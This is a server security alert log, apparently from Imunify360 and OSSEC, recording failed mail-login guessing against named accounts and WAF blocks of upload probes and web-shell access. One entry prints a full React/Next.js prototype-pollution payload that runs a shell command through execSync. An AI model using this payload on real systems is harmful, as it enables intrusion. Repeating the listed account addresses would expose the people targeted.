IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/latest-news/metro-digital-media-won-the-best-performance-in-home-theatre-projector HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.79.170.117
country_id: 1835841
description:
2026-07-19 10:59:34 dovecot_login authenticator failed for H=(90.pool90-173-78.static.orange.es) [61.79.170.117]:35186: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.77.214.59
country_id: 1835841
description:
2026-07-19 11:00:52 dovecot_login authenticator failed for H=(54.126.103.87.rev.vodafone.pt) [220.77.214.59]:53682: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.32.231.200
country_id: 1835841
description:
2026-07-19 11:00:41 dovecot_login authenticator failed for H=([49.124.153.26]) [14.32.231.200]:63111: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.163.103
country_id: 99237
description:
2026-07-19 11:06:01 dovecot_plain authenticator failed for H=(lotocent) [65.20.163.103]:58791: 535 Incorrect authentication data (set_id=admin@ddgalaxy.in)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 5.30.210.69
country_id: 290557
description:
2026-07-19 11:06:04 dovecot_plain authenticator failed for H=(asous) [5.30.210.69]:49985: 535 Incorrect authentication data (set_id=admin@ddgalaxy.in)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.101.182
country_id: 1269750
description:
2026-07-19 11:06:08 dovecot_login authenticator failed for H=(hn.kd.ny.adsl) [182.95.101.182]:57076: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 68.7.114.69
country_id: 6252001
description:
2026-07-19 11:06:32 dovecot_login authenticator failed for H=ip68-7-114-69.sd.sd.cox.net ([104.37.135.150]) [68.7.114.69]:41511: 535 Incorrect authentication data (set_id=prasad.k)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 192.210.150.198
country_id: 6252001
domain: gsmex.global
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33321||MV:11-11.192.210.150.198||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.251.73
country_id: 1269750
description:
2026-07-19 11:30:18 dovecot_login authenticator failed for H=(mx0.vdk.ru) [122.187.251.73]:54710: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 93.241.232.14
country_id: 2921044
description:
2026-07-19 11:34:53 dovecot_login authenticator failed for H=p5df1e80e.dip0.t-ipconnect.de (ip-50-5-205-174.dynamic.fuse.net) [93.241.232.14]:49095: 535 Incorrect authentication data (set_id=dins.info@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.97.195.179
country_id: 1835841
description:
2026-07-19 11:40:57 dovecot_login authenticator failed for H=([118.91.8.132]) [222.97.195.179]:60882: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.4.119
country_id: 1668284
description:
2026-07-19 11:41:26 dovecot_login authenticator failed for H=([142.54.239.4]) [101.13.4.119]:33528: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 105.160.39.126
country_id: 192950
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/latest-news/benq-gs50-portable-projector-review-little-lunchbox-of-light HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 109.55.51.208
country_id: 3175395
domain: ibmctradeflow.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:69920.ibmctradeflow.com||ServerName:ibmctradeflow.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:d42238441cb11362b16030f038405f327854d6f0||Title:jjjjn9sw7lx2dr||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.40.122.250
country_id: 2629691
description:
2026-07-19 11:49:15 dovecot_login authenticator failed for H=nova-185-040-122-250.cpe.novanet.is (1-34-229-12.hinet-ip.hinet.net) [185.40.122.250]:36044: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.198.180.129
country_id: 1835841
description:
2026-07-19 11:49:44 dovecot_login authenticator failed for H=(ip103-172-204-180.cloudhost.web.id) [175.198.180.129]:48663: 535 Incorrect authentication data (set_id=investmentmanager)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 109.55.51.208
country_id: 3175395
domain: ibmcglobal.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:84285.ibmcglobal.com||ServerName:ibmcglobal.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:91d203cbf3c81e5c7263547c94928eff0a1385de||Title:ct82pm59jpnt4nosvk||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.97.195.179
country_id: 1835841
description:
2026-07-19 11:53:01 dovecot_login authenticator failed for H=([142.54.226.210]) [222.97.195.179]:54312: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.92.76.210
country_id: 1694008
description:
2026-07-19 11:53:20 dovecot_login authenticator failed for H=([61.145.181.7]) [119.92.76.210]:60296: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.170.97.94
country_id: 1269750
description:
2026-07-19 11:57:48 dovecot_login authenticator failed for H=([203.252.10.4]) [122.170.97.94]:49709: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.250.250.2
country_id: 1269750
description:
2026-07-19 11:58:00 dovecot_login authenticator failed for H=([199.229.254.131]) [117.250.250.2]:59128: 535 Incorrect authentication data (set_id=uaeindiab2b)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 82.82.143.196
country_id: 2921044
description:
2026-07-19 12:00:07 dovecot_login authenticator failed for H=dslc-082-082-143-196.pools.arcor-ip.net ([45.167.249.253]) [82.82.143.196]:59567: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 185.231.101.89
country_id: 2661886
domain: sriganapathyent.in.vrishenterprises.in
description:
IM360 WAF: Bad file extension||RSV:8.32||T:APACHE||MVN:REQUEST_FILENAME||MV:/language/en-GB/en-GB.astroid.ini||User:vrishenterprises||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.151.53
country_id: 1733045
description:
2026-07-19 12:00:54 dovecot_login authenticator failed for H=([81.162.102.192]) [49.124.151.53]:59624: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.204.60.250
country_id: 1835841
description:
2026-07-19 12:01:20 dovecot_login authenticator failed for H=([192.111.129.146]) [119.204.60.250]:42484: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.181.50
country_id: 1269750
description:
2026-07-19 12:02:41 dovecot_login authenticator failed for H=([94.233.127.194]) [182.95.181.50]:34362: 535 Incorrect authentication data (set_id=dins.info@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.16.17.139
country_id: 2921044
description:
2026-07-19 12:03:21 dovecot_login authenticator failed for H=([218.13.214.18]) [94.16.17.139]:40488: 535 Incorrect authentication data (set_id=dins.info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.208.108.219
country_id: 2661886
description:
2026-07-19 12:10:15 dovecot_login authenticator failed for H=31-208-108-219.cust.bredband2.com ([149.54.51.42]) [31.208.108.219]:38596: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 152.52.198.42
country_id: 1269750
description:
2026-07-19 12:10:24 dovecot_login authenticator failed for H=([109.233.21.109]) [152.52.198.42]:33234: 535 Incorrect authentication data (set_id=rdcentre)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.41.207.112
country_id: 953987
description:
2026-07-19 12:23:40 dovecot_login authenticator failed for H=([31.173.31.59]) [196.41.207.112]:33752: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.230.74
country_id: 1269750
description:
2026-07-19 12:23:50 dovecot_login authenticator failed for H=(186-247-196-233.user.vtal.net.br) [182.95.230.74]:44510: 535 Incorrect authentication data (set_id=investmentmanager)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 84.49.129.193
country_id: 3144096
description:
2026-07-19 12:27:03 dovecot_login authenticator failed for H=193.84-49-129.nextgentel.com ([153.37.177.219]) [84.49.129.193]:49514: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 172.191.74.151
country_id: 6252001
description:
2026-07-19 12:26:17 dovecot_login authenticator failed for H=([192.252.208.66]) [172.191.74.151]:47288: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.23.155.110
country_id: 1269750
description:
2026-07-19 12:27:21 dovecot_login authenticator failed for H=([113.203.193.106]) [125.23.155.110]:36602: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.200.95.18
country_id: 290557
description:
2026-07-19 12:29:13 dovecot_login authenticator failed for H=(92x255x190x68.static-business.omsk.ertelecom.ru) [94.200.95.18]:33796: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 200.106.49.149
country_id: 3932488
description:
2026-07-19 12:29:27 dovecot_login authenticator failed for H=([196.188.187.205]) [200.106.49.149]:49118: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 147.148.205.252
country_id: 2635167
description:
2026-07-19 12:32:01 dovecot_login authenticator failed for H=(ip-68-71-242-113.hosts.zerolag.com) [147.148.205.252]:40846: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 47.223.212.176
country_id: 6252001
description:
2026-07-19 12:32:04 dovecot_login authenticator failed for H=(adsl-90-150-93-151.jamal.ru) [47.223.212.176]:44232: 535 Incorrect authentication data (set_id=dins.info@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.39.96.69
country_id: 1835841
description:
2026-07-19 12:32:22 dovecot_login authenticator failed for H=([221.182.185.190]) [14.39.96.69]:45182: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: modsec
rule: 77469916
abuser: 103.160.213.217
country_id: 1643084
domain: fefkadirectorsunion.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:nuclei-0596a08348ef577274ad3b3e56b58178.xml.php||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 58.186.29.140
country_id: 1562822
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/component/content/article/signature-elite-series-es90?Itemid=101&catid=18 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.25.212.83
country_id: 1835841
description:
2026-07-19 12:38:04 dovecot_login authenticator failed for H=([174.64.199.77]) [59.25.212.83]:35832: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: modsec
rule: 77093094
abuser: 13.211.173.15
country_id: 2077456
domain: www.travelinbh.com
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"then\": \"$1:__proto__:then\", \"status\": \"resolved_model\", \"reason\": -1, \"value\": \"{\\\"then\\\":\\\"$B1337\\\"}\", \"_response\": {\"_prefix\": \"var res=process.mainModule.require('child_process').execSync('echo $((41*271)) | base64 -w 0').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\", \"_chunks\": \"$Q2\", \"_formData\": {\"get\": \"$1:constructor:constructor\"}}}||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.23.155.110
country_id: 1269750
description:
2026-07-19 12:38:26 dovecot_login authenticator failed for H=([166.150.73.45]) [125.23.155.110]:33018: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 85.105.2.51
country_id: 298795
description:
2026-07-19 12:41:05 dovecot_login authenticator failed for H=([49.124.152.227]) [85.105.2.51]:50705: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 152.56.10.232
country_id: 1269750
description:
2026-07-19 12:42:33 dovecot_plain authenticator failed for H=(localhost) [152.56.10.232]:36424: 535 Incorrect authentication data (set_id=support@ddgalaxy.in)


plugin: modsec
rule: 77469916
abuser: 103.160.213.217
country_id: 1643084
domain: globalgroupoman.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:nuclei-d9559e7ab093c1793a8edc64f7a7a8b1.xml.php||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.157.21.178
country_id: 1227603
description:
2026-07-19 12:45:15 dovecot_plain authenticator failed for H=(localhost) [175.157.21.178]:30178: 535 Incorrect authentication data (set_id=support@ddgalaxy.in)


plugin: modsec
rule: 77350572
name: IM360 WAF: Link shorteners usage
abuser: 103.30.1.46
country_id: 1643084
domain: alnayza.com
description:
IM360 WAF: Link shorteners usage||MVN:ARGS:url||MV:https://raw.githubusercontent.com/sagsooz/fonts/refs/heads/main/font.css||User:alnay||SC:/home/alnay/public_html/index.php||WPU:||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77350977
abuser: 103.30.1.46
country_id: 1643084
domain: alnayza.com
description:
IM360 WAF: Joomla Page Builder CK webshell access - executable in media dir (CVE-2026-56290 / WPT-2603)||MVN:REQUEST_FILENAME||MV:/media/com_pagebuilderck/gfonts/fbi.php||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.152.102.54
country_id: 1168579
description:
2026-07-19 12:52:07 dovecot_login authenticator failed for H=([197.219.208.38]) [119.152.102.54]:34648: 535 Incorrect authentication data (set_id=dins.info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 75.80.65.214
country_id: 6252001
description:
2026-07-19 12:51:52 dovecot_login authenticator failed for H=syn-075-080-065-214.biz.spectrum.com ([24.119.52.56]) [75.80.65.214]:36285: 535 Incorrect authentication data (set_id=dins.info@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.188.204.213
country_id: 6252001
description:
2026-07-19 12:54:55 dovecot_login authenticator failed for H=([182.76.71.82]) [50.188.204.213]:50851: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 98.122.215.23
country_id: 6252001
description:
2026-07-19 12:55:07 dovecot_login authenticator failed for H=([221.179.238.225]) [98.122.215.23]:52582: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 184.181.217.206
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"http://Www.Kepenk%C3%82%C2%A0Trsfcdhf.Hfhjf.Hdasgsdfhdshshfsh@forum.annecy-outdoor.com/suivi_forum/?a[]=%3Ca%20href=https://dreevoo.com/profile.php%3Fpid=2076719%3Enarcissistic%20abuse%3C/a%3E%3Cmeta%20http-equiv=refresh%20content=0;url=https://dreevoo.com/profile.php%3Fpid=2076719%20/%3E\">agreement definition in law</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77469916
abuser: 103.160.213.217
country_id: 1643084
domain: ibmcglobal.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:nuclei-96cfb0fc57f6ba0d5a7a81ee80c39614.xml.php||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 37.40.227.137
country_id: 286963
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/contact-us HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.46.38.47
country_id: 3865483
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/latest-news/benq-s-new-premium-4k-ultra-short-throw-projectors-v6000-v7050i HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.72.102.106
country_id: 1269750
description:
2026-07-19 13:05:06 dovecot_login authenticator failed for H=(166.200-59-41.ttcl.co.tz) [182.72.102.106]:49330: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.223.190.179
country_id: 660013
description:
2026-07-19 13:04:36 dovecot_login authenticator failed for H=dsl-hkibng42-50dfbe-179.dhcp.inet.fi ([89.68.245.7]) [80.223.190.179]:43664: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 71.229.1.186
country_id: 6252001
description:
2026-07-19 13:05:58 dovecot_login authenticator failed for H=c-71-229-1-186.hsd1.al.comcast.net (h-79-136-8-69.a463.priv.bahnhof.se) [71.229.1.186]:57272: 535 Incorrect authentication data (set_id=dins.info@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 106.0.166.123
country_id: 1605651
description:
2026-07-19 13:05:26 dovecot_login authenticator failed for H=([182.95.26.40]) [106.0.166.123]:50906: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: modsec
rule: 77469916
abuser: 103.160.213.217
country_id: 1643084
domain: jaashsupplies.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:nuclei-97a1f9cf005bc62dfd9f4bbc5b501aee.xml.php||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.49.183
country_id: 1668284
description:
2026-07-19 13:07:36 dovecot_login authenticator failed for H=111-70-49-183.emome-ip.hinet.net (ticons.static.gvt.net.br) [111.70.49.183]:60627: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.226.48.35
country_id: 1269750
description:
2026-07-19 13:07:50 dovecot_login authenticator failed for H=([178.216.165.187]) [117.226.48.35]:56714: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 104.28.234.178
country_id: 6252001
domain: idealloanz.com.au
description:
IM360 WAF: Bad file extension||RSV:8.32||T:APACHE||MVN:REQUEST_FILENAME||MV:/rclone.conf||User:idealloanzcom||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 104.28.234.178
country_id: 6252001
domain: idealloanz.com.au
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.32||T:APACHE||RA:104.28.234.178||TA:104.28.234.178||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.229.110
country_id: 1269750
description:
2026-07-19 13:11:25 dovecot_login authenticator failed for H=(1-34-229-12.hinet-ip.hinet.net) [182.95.229.110]:52422: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.138.166.217
country_id: 1835841
description:
2026-07-19 13:19:05 dovecot_login authenticator failed for H=([182.210.174.66]) [125.138.166.217]:34858: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.109.138
country_id: 1269750
description:
2026-07-19 13:19:16 dovecot_login authenticator failed for H=([220.180.107.193]) [182.95.109.138]:45430: 535 Incorrect authentication data (set_id=investmentmanager)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 202.62.129.18
country_id: 2077456
description:
2026-07-19 13:19:18 dovecot_login authenticator failed for H=202-62-129-18.ip.vocus.network (ip-104-200-152-25.hosts.zerolag.com) [202.62.129.18]:52669: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.219.228.246
country_id: 1036973
description:
2026-07-19 13:19:45 dovecot_login authenticator failed for H=(clinicahumanas.sdr.gvt.net.br) [197.219.228.246]:35032: 535 Incorrect authentication data (set_id=investmentmanager)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 176.222.61.89
country_id: 99237
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/component/content/article/vssl-x-series-drivers?Itemid=101&catid=18 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.151.17
country_id: 1733045
description:
2026-07-19 13:21:06 dovecot_login authenticator failed for H=([174.64.199.77]) [49.124.151.17]:42162: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 216.229.78.219
country_id: 6252001
description:
2026-07-19 13:21:19 dovecot_login authenticator failed for H=216-229-78-219.fidnet.com (206.123.22.175.adsl-pool.jlccptt.net.cn) [216.229.78.219]:40148: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.155.180
country_id: 1733045
description:
2026-07-19 13:22:54 dovecot_login authenticator failed for H=(45-181-101-92.plugartelecom.net.br) [49.124.155.180]:60994: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 129.45.84.119
country_id: 2589581
description:
2026-07-19 13:22:29 dovecot_login authenticator failed for H=([212.73.75.82]) [129.45.84.119]:34930: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 63.78.215.208
country_id: 6252001
description:
2026-07-19 13:25:24 dovecot_login authenticator failed for H=([189.108.224.67]) [63.78.215.208]:56141: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 5.181.2.48
country_id: 3202326
description:
2026-07-19 13:25:05 dovecot_login authenticator failed for H=([182.76.36.62]) [5.181.2.48]:56332: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: modsec
rule: 77469916
abuser: 103.119.99.90
country_id: 1831722
domain: 103.185.74.189
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:cve-2026-48907-4791.xml.php||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77469916
abuser: 103.160.213.217
country_id: 1643084
domain: metrodigitals.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:nuclei-1b53167110dee2f5cb1499673131a77c.xml.php||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.228.194
country_id: 1269750
description:
2026-07-19 13:37:50 dovecot_login authenticator failed for H=([62.220.104.155]) [182.95.228.194]:43114: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 76.49.199.97
country_id: 6252001
description:
2026-07-19 13:38:01 dovecot_login authenticator failed for H=(syn-071-012-042-216.res.spectrum.com) [76.49.199.97]:44906: 535 Incorrect authentication data (set_id=uaeindiab2b)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.244.104.41
country_id: 3996063
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/latest-news/bring-cinema-sound-and-smart-technology-into-your-space-with-metro-digital-media HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 202.62.95.243
country_id: 1269750
description:
2026-07-19 13:39:31 dovecot_login authenticator failed for H=([162.253.68.102]) [202.62.95.243]:41453: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.251.22.198
country_id: 1269750
description:
2026-07-19 13:39:57 dovecot_login authenticator failed for H=(nsg-corporate-35.174.186.122.airtel.in) [117.251.22.198]:36278: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.187.86
country_id: 1269750
description:
2026-07-19 13:40:14 dovecot_login authenticator failed for H=([111.26.167.166]) [182.95.187.86]:37936: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 118.43.223.242
country_id: 1835841
description:
2026-07-19 13:40:27 dovecot_login authenticator failed for H=(108-90-216-10.lightspeed.rcsntx.sbcglobal.net) [118.43.223.242]:40234: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.118.68.14
country_id: 1210997
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/telephone-and-communication-systems-pabx HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.116.66
country_id: 1269750
description:
2026-07-19 13:53:47 dovecot_login authenticator failed for H=([192.252.216.83]) [182.95.116.66]:56374: 535 Incorrect authentication data (set_id=dins.info@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.131.220.168
country_id: 1835841
description:
2026-07-19 13:54:22 dovecot_login authenticator failed for H=([199.116.114.10]) [121.131.220.168]:51255: 535 Incorrect authentication data (set_id=dins.info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.206.28.215
country_id: 1269750
description:
2026-07-19 13:56:30 dovecot_login authenticator failed for H=([98.188.47.130]) [49.206.28.215]:55663: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.5.143.173
country_id: 1562822
description:
2026-07-19 13:56:43 dovecot_login authenticator failed for H=([211.104.166.110]) [117.5.143.173]:4937: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.191.78
country_id: 99237
description:
2026-07-19 13:57:25 dovecot_plain authenticator failed for H=(astlers) [65.20.191.78]:57388: 535 Incorrect authentication data (set_id=admin@ddgalaxy.in)


plugin: modsec
rule: 77469916
abuser: 103.119.99.90
country_id: 1831722
domain: globalgroupoman.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:cve-2026-48907-3712.xml.php||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77209355
name: IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)
abuser: 138.199.21.229
country_id: 1861060
domain: globalgroupoman.com
description:
IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/media/com_sppagebuilder/assets/iconfont/icoioyjil/fonts/admins.php||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 115.186.50.135
country_id: 1168579
domain: globalgroupoman.com
description:
